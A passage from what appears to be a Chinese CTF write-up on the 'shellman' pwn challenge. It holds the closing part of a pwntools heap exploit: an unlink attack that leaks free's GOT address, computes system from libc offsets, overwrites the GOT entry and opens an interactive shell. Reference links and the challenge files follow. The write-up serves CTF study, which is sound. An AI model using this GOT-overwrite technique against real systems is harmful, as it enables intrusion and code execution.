p64(0xb0)\nedit_shellcode(target, 0, payload)\ndelete_shellcode(target,1)\t\t# triger unlink chunk0\n\npayload = p64(0) + p64(0x1) + p64(0xa0) + p64(free_got) + p64(0x1)\nedit_shellcode(target, 0, payload)\nlist_shellcode(target)\ntarget.recvuntil('SHELLC0DE 0: ')\nfree_addr = u64(target.recv(16).decode('hex'))\nprint \"%#x\" % free_addr\n\n# get through libc-database\nfree_offset = 0x844f0\nsystem_offset = 0x45390\nsystem_addr = free_addr - free_offset + system_offset\nedit_shellcode(target, 0, p64(system_addr))\ndelete_shellcode(target, 2)\ntarget.interactive()\n```\n\n### 相关链接\n\n+ [Understanding glibc malloc](<https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/>)\n+ [glibc堆溢出学习笔记(兼2015强网杯shellman writeup)](<http://www.ms509.com/2016/01/22/glibc-heap-ctf-writeup/>)\n\n### 附件下载\n\n[shellman](samples.zip)","tags":["pwn"],"categories":["CTF"]}]